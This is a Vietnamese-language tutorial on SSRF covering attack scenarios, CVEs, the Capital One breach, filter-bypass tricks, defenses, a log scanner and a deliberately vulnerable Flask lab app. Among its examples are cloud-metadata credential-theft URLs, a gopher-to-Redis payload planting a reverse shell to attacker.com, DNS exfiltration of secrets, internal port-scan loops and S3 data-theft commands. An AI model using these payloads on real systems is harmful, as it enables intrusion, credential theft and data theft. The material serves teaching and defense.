Lỗ Hổng SSRF (Server-Side Request Forgery)
Thay vì tấn công trực tiếp, kẻ tấn công "mượn" server làm trung gian (proxy) để truy cập các tài nguyên nội bộ mà bình thường không thể tiếp cận từ bên ngoài.
- SSRF là gì?
- Nguyên lý hoạt động
- Các kịch bản tấn công thường gặp
- CVE thực tế gần đây
- Kỹ thuật khai thác SSRF
- Tác động của SSRF
- Chiến lược phòng chống
- Lab thực hành
- Kết luận
SSRF là gì và hoạt động như thế nào?

SSRF (Server-Side Request Forgery) là lỗ hổng cho phép kẻ tấn công lợi dụng server để gửi HTTP request đến các địa chỉ mà chúng chỉ định. Thay vì tấn công trực tiếp, kẻ tấn công "mượn" server làm trung gian (proxy) để truy cập các tài nguyên nội bộ mà bình thường không thể tiếp cận từ bên ngoài.
Cơ chế hoạt động cơ bản:
- Ứng dụng web có chức năng fetch dữ liệu từ URL do user cung cấp (ví dụ: tải ảnh đại diện, import từ URL, preview link)
- Kẻ tấn công thay URL hợp lệ thành địa chỉ nội bộ (như
http://localhost:6379,http://169.254.169.254/) - Server tin tưởng và thực hiện request đến địa chỉ đó
- Kẻ tấn công nhận được dữ liệu từ tài nguyên nội bộ mà đáng lẽ bị firewall bảo vệ
Ví dụ đơn giản:
# Request bình thường:
GET /fetch?url=https://cdn.example.com/avatar.jpg
# Request tấn công SSRF:
GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
Trong ví dụ trên, thay vì tải ảnh từ CDN, server sẽ truy cập AWS metadata service và trả về IAM credentials cho kẻ tấn công!
Tại sao SSRF nguy hiểm trong kỷ nguyên Cloud?
Trong môi trường cloud như AWS, Azure, hay GCP, các instance thường có quyền truy cập vào metadata service - một dịch vụ đặc biệt cung cấp thông tin cấu hình, credentials, và các thông tin nhạy cảm khác. Địa chỉ metadata service phổ biến nhất là 169.254.169.254 (AWS, Azure) hoặc metadata.google.internal (GCP).
Một lỗ hổng SSRF cho phép kẻ tấn công truy cập vào các địa chỉ này, từ đó có thể:
- Lấy được AWS IAM credentials
- Truy cập các API keys và secrets
- Thu thập thông tin về cấu hình hạ tầng
- Leo thang đặc quyền trong cloud environment
Vụ tấn công Capital One năm 2019 là minh chứng rõ ràng nhất: kẻ tấn công đã lợi dụng SSRF để truy cập AWS metadata service, lấy được IAM credentials và cuối cùng đánh cắp dữ liệu của hơn 100 triệu khách hàng.
SSRF là gì?
Định nghĩa
SSRF (Server-Side Request Forgery) là một lỗ hổng bảo mật web cho phép kẻ tấn công lợi dụng máy chủ backend để gửi các HTTP request tới bất kỳ đích nào mà kẻ tấn công chỉ định. Nói cách khác, kẻ tấn công có thể "mượn" server làm proxy để truy cập các tài nguyên mà bình thường họ không thể tiếp cận được từ bên ngoài.
Lỗ hổng này thường xuất hiện khi:
- Ứng dụng cho phép người dùng cung cấp URL để fetch dữ liệu
- Server thực hiện request đến URL đó mà không kiểm tra đầu vào đầy đủ
- Kẻ tấn công thay đổi URL thành địa chỉ nội bộ hoặc địa chỉ nhạy cảm
Điểm khác biệt với các lỗ hổng khác
SSRF vs CSRF (Cross-Site Request Forgery):
- CSRF: Lợi dụng trình duyệt của nạn nhân để gửi request giả mạo đến server (client-side)
- SSRF: Lợi dụng server để gửi request đến các đích khác (server-side)
- SSRF nguy hiểm hơn vì server thường có quyền truy cập vào mạng nội bộ mà user không có
SSRF vs XSS (Cross-Site Scripting):
- XSS: Chèn mã JavaScript độc vào trang web, thực thi trên trình duyệt nạn nhân
- SSRF: Lợi dụng server để truy cập tài nguyên nội bộ
- SSRF hoạt động ở tầng server, không cần tương tác với browser
Tại sao SSRF khó phát hiện?
- Request hợp lệ về mặt kỹ thuật: Server thực sự cần gọi API bên ngoài, nên việc có outbound connection là bình thường
- Ẩn sau business logic: Chức năng như "import từ URL", "preview link", "webhook" đều hợp lệ nhưng có thể bị lợi dụng
- Blind SSRF: Trong nhiều trường hợp, kẻ tấn công không nhìn thấy response, chỉ dựa vào side-channel (timing, error message)
- Bypass phức tạp: Có rất nhiều kỹ thuật bypass filter (URL encoding, IP encoding, DNS rebinding, redirect chain...)
Nguyên lý hoạt động
Luồng request bình thường
Trong một ứng dụng web bình thường, luồng xử lý thường như sau:
[User Browser] ---(1) HTTP Request---> [Web Server] ---(2) Fetch Data---> [External API]
|
(3) Return Data
|
<---(4) Response--- [Web Server]
Ví dụ: Người dùng nhập URL của ảnh đại diện, server tải ảnh từ URL đó và hiển thị.
GET /profile/update?avatar_url=https://example.com/avatar.jpg
Server sẽ:
- Parse tham số
avatar_url - Tạo HTTP request đến
https://example.com/avatar.jpg - Tải ảnh về và lưu vào hệ thống
- Trả kết quả cho user
Luồng tấn công SSRF
Khi có lỗ hổng SSRF, kẻ tấn công có thể lợi dụng server để truy cập các tài nguyên nội bộ:
[Attacker] ---(1) Malicious Request---> [Vulnerable Server] ---(2) Forged Request---> [Internal Service]
| (localhost:6379)
(3) Sensitive Data (AWS Metadata)
| (Internal DB)
<---(4) Data Leaked--- [Vulnerable Server]
Ví dụ tấn công:
GET /profile/update?avatar_url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
Thay vì tải ảnh từ internet, server sẽ:
- Parse URL:
http://169.254.169.254/... - Tạo request đến AWS metadata service (chỉ accessible từ bên trong EC2 instance)
- Lấy được IAM credentials
- Trả về cho kẻ tấn công!
Code ví dụ vulnerable
from flask import Flask, request
import requests
app = Flask(__name__)
@app.route('/fetch')
def fetch_url():
url = request.args.get('url')
# ❌ VULNERABLE: Không validate URL
response = requests.get(url)
return response.text
# Attacker exploit:
# http://vulnerable-app.com/fetch?url=http://localhost:6379/
# http://vulnerable-app.com/fetch?url=http://169.254.169.254/latest/meta-data/
Kết quả khi bị khai thác:
# Attacker gửi request:
curl "http://vulnerable-app.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/MyRole"
# Server trả về AWS credentials:
{
"Code" : "Success",
"AccessKeyId" : "ASIA...",
"SecretAccessKey" : "wJalrXUtnFEMI...",
"Token" : "IQoJb3JpZ2luX2VjEKj...",
"Expiration" : "2024-12-31T23:59:59Z"
}
Các kịch bản tấn công thường gặp
1. Truy cập tài nguyên nội bộ
Đây là kịch bản phổ biến nhất. Kẻ tấn công sử dụng SSRF để truy cập các dịch vụ chỉ có thể truy cập từ mạng nội bộ.
Mục tiêu thường gặp:
- Admin panels:
http://localhost/admin,http://internal-admin.company.local - Databases: Redis (6379), MongoDB (27017), MySQL (3306), PostgreSQL (5432)
- Internal APIs: Microservices, API gateways không có authentication
- Configuration services: Consul, etcd, Kubernetes API
- Local files:
file:///etc/passwd,file:///proc/self/environ
Ví dụ payload:
# Truy cập Redis không có authentication
GET /fetch?url=http://localhost:6379/
# Truy cập MongoDB REST API
GET /fetch?url=http://localhost:28017/
# Đọc file hệ thống
GET /fetch?url=file:///etc/passwd
2. Đọc thông tin nhạy cảm từ Cloud Metadata
Đây là kịch bản cực kỳ nguy hiểm trong môi trường cloud.
AWS EC2 Instance Metadata Service (IMDS):
# Lấy IAM role name
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Lấy temporary credentials
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
# Lấy user data (có thể chứa secrets)
http://169.254.169.254/latest/user-data/
Azure Instance Metadata Service:
# Lấy access token
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
Google Cloud Platform:
# Lấy access token
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
Impact: Chiếm quyền điều khiển cloud resources, leo thang đặc quyền, truy cập dữ liệu nhạy cảm.
3. Quét mạng nội bộ (Port Scanning)
Kẻ tấn công có thể sử dụng SSRF để khám phá cấu trúc mạng nội bộ.
Kỹ thuật:
- Time-based detection: So sánh thời gian phản hồi giữa cổng mở và đóng
- Error-based detection: Phân tích thông báo lỗi khác nhau
Ví dụ quét cổng:
# Quét dải IP nội bộ
for ip in 192.168.1.{1..254}; do
curl "http://vulnerable-app.com/fetch?url=http://$ip:22"
curl "http://vulnerable-app.com/fetch?url=http://$ip:80"
curl "http://vulnerable-app.com/fetch?url=http://$ip:3306"
done
4. Tấn công từ chối dịch vụ (DoS)
# Tải file cực lớn
GET /fetch?url=http://attacker.com/10gb.bin
# Spam internal service
for i in {1..10000}; do
curl "http://vulnerable-app.com/fetch?url=http://internal-api:8080/expensive-operation" &
done
5. Tấn công kết hợp và leo thang (Pivoting)
SSRF → RCE qua Redis:
# Sử dụng gopher:// để gửi Redis commands
gopher://localhost:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1%0a%0a%0a%0a%0a%0d%0a
SSRF → Cloud Account Takeover:
# Step 1: Lấy credentials từ metadata
curl "http://vulnerable-app.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/WebServerRole"
# Step 2: Sử dụng credentials
export AWS_ACCESS_KEY_ID=<key>
export AWS_SECRET_ACCESS_KEY=<secret>
# Step 3: Enumerate và exploit
aws s3 ls
aws s3 cp s3://company-secrets/ ./secrets/ --recursive
CVE thực tế gần đây
CVE-2024-27564 - OpenAI ChatGPT SSRF
Mô tả: Lỗ hổng SSRF trong hạ tầng OpenAI ChatGPT cho phép kẻ tấn công chèn URL độc hại vào tham số đầu vào.
Tác động:
- Hơn 10,000 lượt tấn công từ một địa chỉ IP duy nhất
- Nhắm mục tiêu vào các tổ chức tài chính sử dụng dịch vụ AI
- Ban đầu được đánh giá mức độ trung bình nhưng impact thực tế cao hơn nhiều
Bài học: WAF/IPS cần được cấu hình để phát hiện SSRF patterns. Ngay cả các dịch vụ lớn cũng có thể có lỗ hổng.
CVE-2023-46229 - LangChain SitemapLoader SSRF
Mô tả: Lỗ hổng trong thư viện LangChain, component SitemapLoader không giới hạn domain/IP khi tải sitemap.
Kỹ thuật khai thác:
<!-- Malicious sitemap.xml -->
<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
<url>
<loc>http://169.254.169.254/latest/meta-data/iam/security-credentials/</loc>
</url>
<url>
<loc>http://localhost:6379/</loc>
</url>
</urlset>
Tác động: LLM có thể vô tình leak thông tin nhạy cảm trong response.
CVE-2023-28288 - Microsoft SharePoint SSRF
Đặc điểm:
- Cần authentication (attacker cần là user hợp lệ)
- Blind SSRF (không trả response trực tiếp)
- Có thể đọc một số file nội bộ (đặc biệt là
.xslfiles)
Bài học: Ngay cả Blind SSRF cũng cực kỳ nguy hiểm. Authentication không ngăn chặn được SSRF.
Case Study: Capital One Data Breach (2019)
Timeline:
- March 2019: Attacker phát hiện SSRF vulnerability trong web application
- March - July: Attacker sử dụng credentials để download 100+ million customer records
- July 2019: Breach được phát hiện
- Result: Phạt $80 million (OCC) + $100 million (Federal Reserve)
Root Cause:
- Misconfigured WAF có SSRF vulnerability
- Overly permissive IAM role
- Lack of monitoring
- No network segmentation
Kỹ thuật tấn công:
# Step 1: Exploit SSRF to get credentials
curl "http://vulnerable-waf/api?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/WAF-Role"
# Step 2: Use credentials to access S3
aws s3 sync s3://capital-one-customer-data/ ./stolen-data/
Kỹ thuật khai thác SSRF
1. Thay thế trực tiếp URL (Basic)
# Ứng dụng gốc
GET /api/fetch?url=https://api.example.com/data
# Exploit
GET /api/fetch?url=http://localhost:6379
GET /api/fetch?url=http://169.254.169.254/latest/meta-data/
GET /api/fetch?url=file:///etc/passwd
2. Bypass bằng Redirect
# Attacker tạo redirect trên domain hợp lệ
https://allowed-domain.com/redirect?url=http://localhost:6379
# Hoặc sử dụng short URL services
https://bit.ly/xxx → http://169.254.169.254/latest/meta-data/
3. Bypass bằng IP Encoding
# Decimal (dword)
http://2130706433/ # 127.0.0.1 trong decimal
# Octal
http://0177.0.0.1/
# Hexadecimal
http://0x7f.0x0.0x0.0x1/
http://0x7f000001/
# Mixed
http://127.1/ # Tương đương 127.0.0.1
# IPv6
http://[::1]/ # localhost trong IPv6
http://[::ffff:127.0.0.1]/
# URL encoding
http://127.0.0.1%00.example.com/
4. Bypass bằng DNS Trick
# Sử dụng DNS wildcard trỏ về localhost
http://localtest.me/ # resolves to 127.0.0.1
http://127.0.0.1.nip.io/ # resolves to 127.0.0.1
http://anything.127.0.0.1.sslip.io/
# DNS Rebinding
# 1. Domain ban đầu resolve về IP công khai (pass validation)
# 2. Sau đó TTL hết hạn, resolve về 127.0.0.1
5. Bypass bằng URL Parser Confusion
# Userinfo trick
http://[email protected]/ # Some parsers think host is expected.com
http://evil.com#@expected.com/ # Others think differently
# Backslash vs Forward slash
http://expected.com\.evil.com/ # Windows path confusion
# @ symbol tricks
http://expected.com%40evil.com/
http://expected.com%2540evil.com/ # Double encoding
6. Protocol Smuggling
# File protocol
file:///etc/passwd
file:///c:/windows/system32/drivers/etc/hosts
# Gopher protocol (rất mạnh - có thể gửi arbitrary data)
gopher://localhost:6379/_SET%20key%20value
gopher://localhost:11211/_stats # Memcached
# Dict protocol
dict://localhost:6379/INFO
# LDAP
ldap://localhost:389/
# FTP
ftp://internal-ftp-server/
7. Blind SSRF Detection
# 1. Time-based
# - Cổng mở: respond nhanh
# - Cổng đóng: timeout lâu
# 2. Out-of-band detection
http://xxx.burpcollaborator.net/
http://xxx.requestbin.com/
# 3. DNS exfiltration
http://$(whoami).attacker.com/
http://${AWS_ACCESS_KEY}.attacker.com/
Tác động của SSRF
Tổng quan
SSRF có thể dẫn đến:
- Rò rỉ dữ liệu nhạy cảm: Credentials, API keys, configuration files
- Chiếm quyền truy cập nội bộ: Admin panels, databases, internal APIs
- Leo thang đặc quyền: Từ web server → cloud admin
- Lateral movement: Di chuyển ngang trong mạng nội bộ
- Remote Code Execution: Kết hợp với các lỗ hổng khác
- Denial of Service: Làm quá tải dịch vụ nội bộ
Impact theo môi trường
Trên Cloud (AWS/Azure/GCP):
- Lấy được IAM credentials/Access tokens
- Truy cập Storage (S3, Blob, GCS)
- Điều khiển compute instances
- Đọc secrets từ secret managers
Trên On-premise:
- Truy cập database servers
- Đọc file hệ thống
- Quét network topology
- Tấn công internal services
Trong Container/Kubernetes:
- Truy cập Kubernetes API
- Lấy service account tokens
- Escape container
- Lateral movement giữa pods
Chiến lược phòng chống
1. Input Validation (Quan trọng nhất!)
Whitelist approach (khuyến nghị):
ALLOWED_DOMAINS = ['api.partner.com', 'cdn.example.com']
ALLOWED_SCHEMES = ['http', 'https']
ALLOWED_PORTS = [80, 443]
def is_safe_url(url):
parsed = urllib.parse.urlparse(url)
# Check scheme
if parsed.scheme not in ALLOWED_SCHEMES:
return False
# Check domain
if parsed.hostname not in ALLOWED_DOMAINS:
return False
# Check port
port = parsed.port or (80 if parsed.scheme == 'http' else 443)
if port not in ALLOWED_PORTS:
return False
return True
Blacklist approach (không khuyến nghị nhưng tốt hơn không):
BLOCKED_IPS = [
'127.0.0.0/8', # Loopback
'10.0.0.0/8', # Private
'172.16.0.0/12', # Private
'192.168.0.0/16', # Private
'169.254.0.0/16', # Link-local (bao gồm metadata)
'::1/128', # IPv6 loopback
'fc00::/7', # IPv6 private
]
def is_blocked_ip(ip):
ip_obj = ipaddress.ip_address(ip)
for blocked in BLOCKED_IPS:
if ip_obj in ipaddress.ip_network(blocked):
return True
return False
2. DNS Resolution Check
import socket
import ipaddress
def resolve_and_validate(hostname):
try:
# Resolve all IPs (A and AAAA records)
addrs = socket.getaddrinfo(hostname, None)
ips = [addr[4][0] for addr in addrs]
# Check all resolved IPs
for ip in ips:
if is_blocked_ip(ip):
raise ValueError(f"Blocked IP: {ip}")
return ips
except socket.gaierror:
raise ValueError("DNS resolution failed")
3. Network Segmentation
# Firewall rules (iptables example)
# Deny outbound to private networks
iptables -A OUTPUT -d 127.0.0.0/8 -j DROP
iptables -A OUTPUT -d 10.0.0.0/8 -j DROP
iptables -A OUTPUT -d 172.16.0.0/12 -j DROP
iptables -A OUTPUT -d 192.168.0.0/16 -j DROP
iptables -A OUTPUT -d 169.254.0.0/16 -j DROP
# Deny access to cloud metadata
iptables -A OUTPUT -d 169.254.169.254 -j DROP
4. Cloud-specific Protection
AWS - Sử dụng IMDSv2:
# Require IMDSv2 (không cho phép IMDSv1)
aws ec2 modify-instance-metadata-options \
--instance-id i-1234567890abcdef0 \
--http-tokens required \
--http-put-response-hop-limit 1
AWS - Network ACL:
# Block access to metadata service
aws ec2 create-network-acl-entry \
--network-acl-id acl-xxx \
--rule-number 100 \
--protocol -1 \
--rule-action deny \
--cidr-block 169.254.169.254/32
5. Application-level Protection
def secure_fetch(url, max_redirects=1, timeout=5):
"""
Secure URL fetching with SSRF protection
"""
current_url = url
for i in range(max_redirects + 1):
# Validate URL
if not is_safe_url(current_url):
raise ValueError("Unsafe URL")
# Parse URL
parsed = urllib.parse.urlparse(current_url)
# Resolve and validate DNS
ips = resolve_and_validate(parsed.hostname)
# Make request without auto-redirect
response = requests.get(
current_url,
allow_redirects=False,
timeout=5,
headers={'User-Agent': 'CompanyBot/1.0'}
)
# Handle redirect
if 300 <= response.status_code < 400:
location = response.headers.get('Location')
if location:
current_url = urllib.parse.urljoin(current_url, location)
continue
return response
raise ValueError("Too many redirects")
6. Monitoring và Detection
Patterns cần monitor:
# Suspicious URL patterns
SUSPICIOUS_PATTERNS = [
r'localhost',
r'127\.',
r'169\.254\.169\.254',
r'metadata\.google\.internal',
r'@', # userinfo
r'file://',
r'gopher://',
r'dict://',
r'0x[0-9a-f]+', # hex IP
r'\d{8,}', # decimal IP
]
Log monitoring script:
import re
def detect_ssrf_in_logs(log_line):
for pattern in SUSPICIOUS_PATTERNS:
if re.search(pattern, log_line, re.I):
return True
return False
# Alert when detected
if detect_ssrf_in_logs(access_log):
send_alert("Potential SSRF attempt detected!")
Lab thực hành
Ứng dụng vulnerable (CHỈ dùng trong lab)
# ⚠️ CHỈ SỬ DỤNG TRONG LAB - KHÔNG DEPLOY VÀO PRODUCTION
from flask import Flask, request, Response
import requests
app = Flask(__name__)
@app.route("/fetch")
def fetch():
url = request.args.get("url")
if not url:
return "Missing ?url=", 400
# ❌ VULNERABLE: Không validate URL
try:
r = requests.get(url, timeout=5, allow_redirects=True)
return Response(r.content, status=r.status_code)
except Exception as e:
return f"Request error: {e}", 500
if __name__ == "__main__":
app.run(host="0.0.0.0", port=8000)
Ứng dụng secure (Phòng chống SSRF)
from flask import Flask, request, jsonify
import requests
import urllib.parse
import socket
import ipaddress
app = Flask(__name__)
# Configuration
ALLOWED_SCHEMES = {"http", "https"}
ALLOWED_PORTS = {80, 443}
def is_public_ip(ip):
"""Check if IP is public (not private/loopback/reserved)"""
try:
ipobj = ipaddress.ip_address(ip)
return not (ipobj.is_private or ipobj.is_loopback or
ipobj.is_reserved or ipobj.is_link_local or
ipobj.is_multicast or ipobj.is_unspecified)
except ValueError:
return False
def resolve_all(host):
"""Resolve all IPs for a hostname"""
try:
infos = socket.getaddrinfo(host, None)
ips = []
for fam, _, _, _, sockaddr in infos:
if fam in (socket.AF_INET, socket.AF_INET6):
ips.append(sockaddr[0])
return sorted(set(ips))
except socket.gaierror:
return []
def is_safe_url(raw):
"""Validate URL for SSRF protection"""
try:
parsed = urllib.parse.urlsplit(raw)
except Exception:
return False, "invalid_url"
# Check scheme
if parsed.scheme not in ALLOWED_SCHEMES:
return False, "blocked_scheme"
# Check for userinfo
if parsed.username or parsed.password:
return False, "userinfo_not_allowed"
# Check hostname exists
if parsed.hostname is None:
return False, "no_hostname"
host = parsed.hostname.strip(".").lower()
# Block numeric/hex hosts (bypass attempt)
if host.isdigit() or host.startswith("0x"):
return False, "numeric_host_blocked"
# Check port
port = parsed.port or (80 if parsed.scheme == "http" else 443)
if port not in ALLOWED_PORTS:
return False, "blocked_port"
# DNS resolution + IP validation
ips = resolve_all(host)
if not ips:
return False, "dns_failed"
for ip in ips:
if not is_public_ip(ip):
return False, f"blocked_ip:{ip}"
return True, "ok"
def guarded_get(url, max_redirects=1, timeout=5):
"""Fetch URL with SSRF protection"""
current = url
for _ in range(max_redirects + 1):
# Validate URL
ok, reason = is_safe_url(current)
if not ok:
raise ValueError(f"Blocked: {reason} - {current}")
# Make request (no auto-redirect)
r = requests.get(current, timeout=timeout, allow_redirects=False)
# Handle redirect
if 300 <= r.status_code < 400 and "Location" in r.headers:
current = urllib.parse.urljoin(current, r.headers["Location"])
continue
return r
raise ValueError("too_many_redirects")
@app.get("/fetch")
def fetch():
url = request.args.get("url", "")
try:
r = guarded_get(url, max_redirects=1, timeout=5)
# SECURE: Không trả thẳng content, chỉ trả metadata
return jsonify({
"status": r.status_code,
"content_type": r.headers.get("Content-Type", "text/plain"),
"content_length": len(r.content),
"success": True
})
except Exception as e:
return jsonify({"error": str(e), "success": False}), 400
if __name__ == "__main__":
app.run(host="0.0.0.0", port=8001)
Script phát hiện SSRF từ log
#!/usr/bin/env python3
import re
import sys
# Suspicious patterns
PATTERNS = [
(r"url=.*localhost", "localhost access"),
(r"url=.*127\.", "loopback IP"),
(r"url=.*169\.254\.169\.254", "AWS metadata"),
(r"url=.*metadata\.google", "GCP metadata"),
(r"url=.*@", "URL userinfo"),
(r"url=.*file://", "file protocol"),
(r"url=.*gopher://", "gopher protocol"),
(r"url=.*0x[0-9a-f]+", "hex IP encoding"),
(r"url=.*\d{8,}", "decimal IP encoding"),
]
def scan_log_file(filename):
"""Scan log file for SSRF patterns"""
findings = []
with open(filename, 'r', errors='ignore') as f:
for line_num, line in enumerate(f, 1):
for pattern, description in PATTERNS:
if re.search(pattern, line, re.I):
findings.append({
'line': line_num,
'pattern': description,
'content': line.strip()
})
break
return findings
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python3 ssrf_log_scanner.py <logfile>")
sys.exit(1)
findings = scan_log_file(sys.argv[1])
print(f"[*] Scanned: {sys.argv[1]}")
print(f"[*] Suspicious entries found: {len(findings)}\n")
for finding in findings:
print(f"[!] Line {finding['line']}: {finding['pattern']}")
print(f" {finding['content'][:100]}...\n")
Checklist phòng chống SSRF
Application Level:
- Whitelist domains/IPs được phép
- Blacklist private IP ranges
- Chỉ cho phép HTTP/HTTPS
- Disable auto-redirect hoặc validate redirect URL
- DNS resolution check trước khi connect
- Không trả raw response cho user
- Set timeout cho outbound requests
Network Level:
- Egress firewall rules (deny-by-default)
- Block access to metadata service
- Network segmentation
- Use VPC/Security Groups
Cloud-specific:
- AWS: Enforce IMDSv2
- AWS: Use IAM roles with least privilege
- GCP: Disable legacy metadata endpoints
- Azure: Use managed identities
Monitoring & Logging:
- Log all outbound HTTP requests
- Alert on suspicious patterns
- Monitor for unusual egress traffic
- Regular security audits and penetration testing
Kết luận
SSRF là một trong những lỗ hổng nguy hiểm nhất trong môi trường hiện đại, đặc biệt với sự phổ biến của cloud computing và kiến trúc microservices. Lỗ hổng này cho phép kẻ tấn công "mượn" server làm cầu nối để truy cập các tài nguyên nội bộ, đọc metadata service, và thậm chí chiếm quyền điều khiển toàn bộ hạ tầng cloud.
Điểm chính cần nhớ
- SSRF xuất hiện khi nào: Ứng dụng cho phép user cung cấp URL mà không validate đầy đủ
- Tác động nghiêm trọng: Từ rò rỉ dữ liệu đến chiếm quyền điều khiển cloud infrastructure
- Kỹ thuật bypass đa dạng: IP encoding, DNS tricks, URL parser confusion, protocol smuggling
- Phòng chống cần đa tầng:
- Application: Input validation (whitelist > blacklist)
- Network: Firewall, segmentation, block metadata service
- Cloud: IMDSv2, least privilege IAM roles
- Monitoring: Log, detect, alert
Khuyến nghị cho team phát triển
- Developers: Luôn validate URL input, sử dụng whitelist approach, test kỹ càng với các bypass techniques
- DevOps/SRE: Cấu hình firewall chặt chẽ, network segmentation, enforce cloud security best practices
- Security Team: Thực hiện pentest định kỳ, monitor cho SSRF patterns, security training cho developers
Tài nguyên tham khảo
Tài liệu chính thức
- OWASP Top 10:2021 - A10 Server-Side Request Forgery
- OWASP Server Side Request Forgery Prevention Cheat Sheet
- OWASP - Server Side Request Forgery
Nghiên cứu và phân tích
- Imperva - Server-Side Request Forgery (SSRF)
- PortSwigger Web Security Academy - SSRF
- Bright Security - 7 SSRF Mitigation Techniques
CVE và Case Studies
- Veriti - CVE-2024-27564 Actively Exploited
- UnderDefense - CVE-2023-46229 SSRF via LangChain
- Trend Micro ZDI - SSRF in SharePoint
- AppSecco - Capital One Breach Analysis
- Medium - How SSRF Leads to RCE
Happy hacking và đừng đi viện. Các code và nội dung bài viết mang mục đích giáo dục, không thực hành trên các hệ thống mà không được cấp phép